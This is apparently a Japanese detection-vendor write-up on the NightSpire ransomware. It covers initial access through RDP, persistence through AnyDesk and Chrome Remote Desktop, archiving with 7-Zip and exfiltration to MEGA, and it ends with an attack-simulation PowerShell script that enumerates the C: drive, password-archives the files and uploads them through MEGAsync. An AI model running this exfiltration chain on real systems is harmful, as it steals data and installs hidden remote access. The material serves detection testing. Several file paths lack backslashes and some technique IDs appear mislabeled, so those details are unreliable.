NightSpireランサムウェア攻撃チェーン、ツールと戦術
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
NightSpireは、2025年初頭に初めて観測されたGoベースのランサムウェアファミリーで、暗号化前にデータを盗み、Torベースのリークサイトでの公開を脅かすダブルエクストーションモデルを使用しています。ランサムウェアは .nspire という拡張子を暗号化されたファイルに追加し、影響を受けた各ディレクトリに身代金要求メモを配置します。OneDriveに関連するフォルダも含まれます。オペレーターはアクセスを維持するために正当なリモート管理ツールを利用し、発見、アーカイブ、データ流出のために公開されているユーティリティを使用します。2025年3月から6月の間に、このキャンペーンは33か国の少なくとも64の組織に影響を与えました。
調査
調査の結果、攻撃者は一般的に露出したRDPを通じて初期アクセスを得てから、Chrome Remote DesktopとAnyDeskを持続的なサービスとしてインストールすることが多いことが示されました。彼らはEverythingを使用してファイルを素早く見つけ、7-Zipを使ってパスワード保護されたアーカイブを作成し、MEGAsyncを使って盗んだデータをMEGAクラウドストレージにアップロードしました。Goベースの暗号化機は conhost.exeの下で実行され、利用可能な全てのドライブを列挙し、OneDriveのファイル名を変更せずにファイルを暗号化しました。エクストーションフェーズでは、データ流出後に被害者に圧力をかけるために使用されるTorホストのリークサイトに依存しています。
緩和策
組織は、直接のRDP露出を減らすか排除し、サービスとしての正当なリモート管理ツールの予期しない展開を監視し、Chrome Remote DesktopやAnyDeskのようなバイナリにアプリケーション許可リストを適用すべきです。行動検出は大量のファイル列挙、アーカイブの作成、クラウドストレージサービスへの不正なアップロードに焦点を当てるべきです。定期的なバックアップやテスト済みの回復手順は重要であり、ネットワーク制御は既知のMEGAアップロードエンドポイントをブロックすべきです。Picusが提供する制御されたランサムウェアシミュレーション演習を通じて防御を検証することもできます。
対応
NightSpireの活動が検出された場合、直ちに影響を受けたエンドポイントを隔離し、暗号化プロセスを終了して、揮発性メモリを収集して分析します。不正なサービスを無効にし、持続化したリモートアクセスツールを削除し、関連するネットワーク通信をブロックします。回復は信頼できるバックアップから行い、関連する利害関係者に通知します。インシデントは法執行機関にも報告されるべきで、ディフェンダーは公開データの兆候に対してTorリークサイトの監視を継続する必要があります。
graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff6666 classDef process fill:#ffcc99 %% ノード action_initial_access[“<b>アクション</b> – 初期アクセス<br/><b>技術</b> – T1136 アカウント作成<br/><b>説明</b>: 攻撃者はRemote Desktop Protocol (RDP) を使用してネットワークへ侵入し足場を確立した。”] class action_initial_access action tool_rdp[“<b>ツール</b> – Remote Desktop Protocol (RDP)<br/><b>説明</b>: Windowsシステムへのリモートログインを可能にするプロトコル。”] class tool_rdp tool action_persistence[“<b>アクション</b> – 永続化<br/><b>技術</b> – T1547.009 ショートカット改変<br/><b>説明</b>: AnyDeskおよびChrome Remote Desktopをサービスとしてインストールし、Startupフォルダにショートカットを配置して自動起動を実現。”] class action_persistence action tool_anydesk[“<b>ツール</b> – AnyDesk<br/><b>機能</b>: リモートアクセスソフトウェア。Windowsサービスとしてインストールされ、anydesk.lnkとして存在。”] class tool_anydesk tool tool_chrome_rd[“<b>ツール</b> – Chrome Remote Desktop<br/><b>機能</b>: リモートアクセス。remoting_host.exeサービスとして動作。”] class tool_chrome_rd tool action_collection[“<b>アクション</b> – 収集<br/><b>技術</b> – T1560.001 データ圧縮<br/><b>説明</b>: Everythingツールでファイルを列挙後、7-Zipを使用してパスワード保護付きアーカイブを作成。”] class action_collection action tool_7zip[“<b>ツール</b> – 7-Zip<br/><b>機能</b>: パスワード保護付き圧縮を行うツール。”] class tool_7zip tool tool_everything[“<b>ツール</b> – Everything<br/><b>機能</b>: 高速ファイル検索ツール(列挙用途)。”] class tool_everything tool action_exfiltration[“<b>アクション</b> – 情報流出<br/><b>技術</b> – T1537 クラウドアカウントへの転送<br/>T1567.002 Webサービス経由の流出<br/><b>説明</b>: MEGAsyncを使用してMEGAクラウドストレージへアーカイブをアップロード。”] class action_exfiltration action tool_megasync[“<b>ツール</b> – MEGAsync<br/><b>機能</b>: ローカルファイルをMEGAクラウドと同期し情報流出に利用。”] class tool_megasync tool action_impact[“<b>アクション</b> – 影響<br/><b>技術</b> – T1486 データ暗号化による影響<br/><b>説明</b>: conhost.exe経由でGo製ランサムウェアを実行し、ファイルを暗号化、.nspire拡張子を付与し身代金要求メモを配置。”] class action_impact action malware_encryptor[“<b>マルウェア</b> – Goランサムウェア<br/><b>機能</b>: ファイル暗号化、拡張子付与、ランサムノート生成。”] class malware_encryptor malware process_conhost[“<b>プロセス</b> – conhost.exe<br/><b>役割</b>: Goランサムウェアの実行を担当。”] class process_conhost process %% 接続 action_initial_access –>|使用| tool_rdp action_initial_access –>|次へ| action_persistence action_persistence –>|インストール| tool_anydesk action_persistence –>|インストール| tool_chrome_rd action_persistence –>|次へ| action_collection action_collection –>|使用| tool_7zip action_collection –>|列挙| tool_everything action_collection –>|次へ| action_exfiltration action_exfiltration –>|使用| tool_megasync action_exfiltration –>|次へ| action_impact action_impact –>|実行| process_conhost process_conhost –>|起動| malware_encryptor
攻撃フロー
シミュレーション実行
前提条件: テレメトリとベースラインの飛行前チェックが通過している必要があります。
合理性: このセクションは、検出ルールを引き起こすように設計された敵の技術 (TTP) を正確に実行する様子を詳細に説明します。コマンドと物語は、特定されたTTPs を直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目指します。抽象的または無関係な例は誤診につながります。
-
攻撃の物語とコマンド:
- 持続性の設定 (T1547 / T1219): Chrome Remote Desktopをデフォルトのパスにインストールし、持続的なリモート制御を得るためにサービスを開始します。
- 探索 (T1083): Everything.exeを使用してC:ドライブの全ファイルを列挙し、出力を一時リストに保存します。
- アーカイブ (T1037 / T1083): 7-Zipを呼び出して、発見されたファイルをパスワードで保護したアーカイブに圧縮します。
- 流出 (T1219.003): MEGAsyncを起動して、アーカイブをMEGA アカウントにアップロードします。
この順序により、 選択_リモートアクセス (Chrome Remote Desktop)がアクティブな状態で 選択_発見, 選択_アーカイブ、または 選択_流出 のいずれかが発生し、ルールの条件を満たします。
-
回帰テストスクリプト:
# ------------------------------------------------------------------------- # NightSpire Lateral Persistence & Exfiltration Simulation # ------------------------------------------------------------------------- # 前提条件: # - Chrome Remote Desktopがデフォルトのパスにインストールされています # - Everything.exeがデフォルトのパスにインストールされています # - 7z.exeがデフォルトのパスにインストールされています # - MEGAsyncがデフォルトのユーザープロファイルパスにインストールされています # ------------------------------------------------------------------------- # 1. Chrome Remote Desktopサービスが実行中であることを確認します (持続性をシミュレートします) $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe" if (Test-Path $crdPath) { Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden Write-Host "Chrome Remote Desktopサービスが開始されました。" } else { Write-Error "Chrome Remote Desktopが$crdPathに見つかりません" exit 1 } # 2. Everythingでファイルを探索します $everythingPath = "$Env:ProgramFilesEverythingEverything.exe" $discoveryOutput = "$env:TEMPfilelist.txt" if (Test-Path $everythingPath) { & $everythingPath -search "C:" -output $discoveryOutput Write-Host "探索完了、結果は$discoveryOutputに保存されます" } else { Write-Error "Everything.exeが$everythingPathに見つかりません" exit 1 } # 3. 7-Zipで発見されたファイルをアーカイブします $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe" $archivePath = "$env:TEMPexfil_archive.zip" if (Test-Path $sevenZipPath) { & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!" Write-Host "アーカイブが$archivePathに作成されました" } else { Write-Error "7z.exeが$sevenZipPathに見つかりません" exit 1 } # 4. MEGAsyncを介してアーカイブをアップロードします (流出) $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe" if (Test-Path $megaPath) { & $megaPath --upload $archivePath Write-Host "MEGAsyncを介したアップロードが開始されました。" } else { Write-Error "MEGAsync.exeが$megaPathに見つかりません" exit 1 } # シミュレーション終了 -
クリーンアップコマンド:
# Chrome Remote Desktopサービスを停止 Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue # 一時ファイルを削除 Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue # 必要に応じて実行中のMEGAsyncを停止 Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue